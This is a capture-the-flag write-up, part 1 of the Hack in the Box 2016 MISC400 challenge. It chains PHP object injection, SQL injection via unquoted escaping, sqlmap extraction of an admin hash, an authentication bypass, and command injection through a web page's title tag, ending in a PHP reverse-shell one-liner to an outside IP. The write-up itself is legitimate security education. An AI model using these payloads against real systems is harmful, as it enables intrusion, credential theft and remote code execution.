Hack in the Box 2016 - MISC400 Writeup (Part 1)
The challenge
This year the CTF prize sponsors Beyond Security contributed a 400 point challenge:
MISC400 - Above and Beyond
Even chefs need a bit of help sometimes, especially when it comes to IT related subjects.
Luckily, the guys at Beyond Security are always willing to offer a helping hand through their IT blog.
So, if you have any trouble, try the blog at http://145.111.225.63/
The basics
Visiting this blog presented us with the following website:
Browsing the website we identified a number of read only, static pages - nothing particularly interesting. However, by viewing the CSS
source we identify the following:
.form-signin input[type="email"] {
margin-bottom: -1px;
border-bottom-right-radius: 0;
border-bottom-left-radius: 0;
}
.form-signin input[type="password"] {
margin-bottom: 10px;
border-top-left-radius: 0;
border-top-right-radius: 0;
}
So, there must be a form available somewhere, eventually one of the usual suspects gives a hit and we find the admin panel:
This admin panel requires authentication and the ‘hint’ implies brute forcing is not a good solution. Luckily, the HTML
source gives our next hint, backups are stored on the server:
Accessing this directory we identify a number of backup archives are accessible:
Selecting a backup archive at random, we find it is password protected.
So, let’s try them all:
wget --mirror http://145.111.225.63/admin/backup/
for a in *.tar.gz; do tar -zxvf $a; done
With access to the source code, things start to get interesting:
Needle in the haystack
After some precursory browsing of the source code, we find the Session
class to be particularly interesting. The Session
class is implemented as a singleton and can be directly initialised through the admin directory, via either the index.php
or manage.php
URLs.
This Session
class contains (among others) the following functions:
private function __construct()
{
if (isset($_COOKIE['session']))
{
$this->loadSession($_COOKIE['session']);
}
else
{
$this->createTempSession();
}
}
private function loadSession($data)
{
$decoded_data = base64_decode($data);
$arr = unserialize($decoded_data);
$this->_sessionid = $arr['sessionid'];
foreach($arr['data'] as $key => $value)
{
$this->_data_arr[$key] = $value;
}
}
So, we have an arbitrary object injection when the Session
object is initialised.
The question becomes, what can we do with this?
Tracing our flows
With these kinds of challenges (i.e. too many lines of source code), I always prefer to draw the call graphs to trace the function flows and thereby gain a clearer understanding of how the application works and which functions we can call.
To prevent unnecessary confusion from the scratchings I made during the CTF, I have reproduced these graphs with the help of Dia.
Below, we can see the function flow (as seen in the source above) to reach the vulnerable unserialise
call with our user supplied data:
Now we have a clear understanding of how to reach the vulnerable function call, we can start looking for ways to abuse this object injection.
Digging deeper
Via the User
class, we identify the following function:
public function rewind()
{
$con = Database::getInstance()->getConnection();
$users_table = Config::getInstance()->getTables()['users'];
$escaped_user = $con->real_escape_string($this->_user);
$query = "SELECT `last_login` FROM `$users_table` WHERE `user`=$escaped_user";
$res = $con->query($query);
if ($res)
{
$this->_access_time = $res->fetch_array(MYSQLI_ASSOC)['last_login'];
}
}
As we can see, an SQL query is generated utilising an escaped version of the User
object’s _user
variable. However, prior to being inserted into the query, the data is sanitised using PHP’s real_escape_string.
As per the documentation (and assuming ‘regular’ character sets), PHP’s real_escape_string
call encodes the following characters:
Characters encoded are NUL (ASCII 0), \n, \r, \, ‘, “, and Control-Z.
As per the function above, the escaped user input is not enclosed within quotes, therefore this function is still vulnerable to SQL injection attacks.
As an example, we can circumvent the real_escape_string
call by creating a User
object with a username of ‘1 or sleep(5)
’, which will result in the following SQL query after sanitisation (and will cause the database to sleep for 5 seconds):
SELECT 'last_login' FROM '$users_table' WHERE 'user'=1 or sleep(5)'
The only problem with this path of attack is the rewind
function is never called by the application..
Calling uncallable functions
Taking a closer look at the User
class, we see it implements the Iterator interface. This interface allows the associated object to be used as part of a foreach
loop. To facilitate this, the interface permits custom implementations of the following functions:
abstract public mixed current ( void )
abstract public scalar key ( void )
abstract public void next ( void )
abstract public void rewind ( void )
abstract public boolean valid ( void )
As per the PHP documentation, rewind is used to ‘rewind the Iterator to the first element’ and is the first method called at the start of a foreach
loop.
With this understanding, the SQL injection can be triggered as follows:
- Create a
User
object with a customisable username - Utilise this object in a
foreach
loop to trigger theIterator
(therebyrewind
ing to the first element) - Perform the SQL injection via the insecure
real_escape_string
sanitisation - Extract the administrator’s username and password
As we identified in the code snippet above, the loadSession
function is called with our user supplied data as part of a cookie. This function takes the cookie data, base64_decodes
it, unserialises
it, then finally performs a foreach
loop to map the data as part of an array
within the object.
Using this information, we can create our own dummy function, which creates a custom serialised object matching the conditions outlined in our above attack:
public function fast_forward()
{
$final = array(
'sessionid' => 'a',
'data' => new User($_GET[1],'b',1)
);
$session = base64_encode(serialize($final));
}
Setting the $session
output as our session cookie and accessing the application will cause the above attack chain to be triggered.
Automating the injection
To make life easier, we can set-up a local proxy:
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://145.111.225.63/admin/index.php");
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Cookie: session=$session;PHPSESSID=5rsdlv7c8gnetb6jbj3h313gs5"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
Then allow sqlmap to perform the heavy lifting:
python sqlmap.py -u "http://127.0.0.1/p.php?1=1" -p1 --level=5 --risk=3 --sql-shell
Once the injection point is identified, we can perform arbitrary SQL commands against the server database, such as extracting the username and password of the admin user:
Tracing our flows (again)
Now we have access to both the username and the MD5 password for the admin user of the application. Assuming this MD5 cannot be trivially cracked, we need to find another way to abuse this information.
Via the application there are two ways to attempt to access the administrative panel, either via index.php
or manage.php
which result in a slightly different authorisation check.
Via index.php
we can access functions in the following paths:
Via manage.php
we can access functions in the following paths:
Therefore, it is possible to instantiate our User
object and influence the subsequent checkPassword
authorisation flow with different boolean
values for the _is_session
parameter:
public function checkPassword()
{
$data = $this->selectDataByUser();
$pass = $this->_password;
if (!$this->_is_session)
{
$pass = md5($pass);
}
if ($data['password'] === $pass)
{
/* Update the login time */
/* TODO: Maybe not the right place to update the login time? */
$this->updateLogin();
return True;
}
return False;
}
Since we already know the MD5 value of the password (via the SQL injection), we want the _is_session
parameter to be set to true
, thereby skipping the function. We can achieve this condition with a secondary object injection attack:
- Create a
User
object with the known valid credentials - Access the function flow via
manage.php
(resulting in the MD5 function not being called) - Gain access to administrative functions without cracking the password
We can therefore gain administrative access to the application with the following object:
private function md0()
{
$final = array(
'sessionid' => 'a',
'data' => array(
'user' => 'admin',
'pass' => 'b9cf928d0e7a0e2ff0e0f57e8468f7da'
)
);
}
Setting this as the session cookie in our browser and accessing the administrative interface via manage.php
permits us to successfully access the application as an administrator:
Back to the source
Now we are administrators, we have access to some interesting new functions:
if (isset($_POST['resolve']))
{
$output = shell_exec('nslookup '.escapeshellarg($_POST['host']).' 2>&1');
echo $output;
}
if (isset($_POST['download']))
{
$data = @file_get_contents($_POST['url']);
if (!$data)
{
echo 'Could not download the page';
}
else
{
$matches = array();
if (preg_match('/(.*?)<\/title>/', $data, $matches)) {
$encoded = base64_encode($data);
system("echo $encoded > files/$matches[1]");
}
else {
echo 'Could not fetch the filename';
}
}
}
As an attacker, the download
function looks most interesting. A user supplied website can be downloaded via the file_get_contents
call, then a regular expression is performed against the content to obtain the website’s title. The website data is then saved in a base64_encoded
format in the files
directory; all within a native system
call.
The output of the website’s data is saved based on the matches
array which is a result of the preg_match call:
$matches[0] will contain the text that matched the full pattern, $matches[1] will have the text that matched the first captured parenthesized subpattern, and so on.
As per the function definition and the above implementation, we can control the data stored within $matches[1]
, by hosting our own webpage with a custom, malicious <title>
tag which we can then abuse to break out of the underlying system
call.
Remote code execution
As an example, we can ‘break out’ of the system
call and perform ls
on the local file system via the following:
php -r 'system("echo a > test;ls");'
So, let’s set up a website on our local machine with these malicious <title>
tags:
<title>Not a suspicious website;ls</title>
Then download this page via the management application:
Finally, we have obtained code execution on the application server.
An obvious flag was not accessible in the webroot, so the next step is to gain a shell on the server (they removed python for some reason?):
<title>Not a suspicious website;php -r '$sock=fsockopen("145.111.241.25",1234);exec("/bin/sh -i <&3 >&3 2>&3");'</title>
Surely we must have earned some points by now right?
Wrong:
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=85ac919bb9c5311f8bdbcf2e6255814d227d8b76, not stripped
Stay tuned for part 2…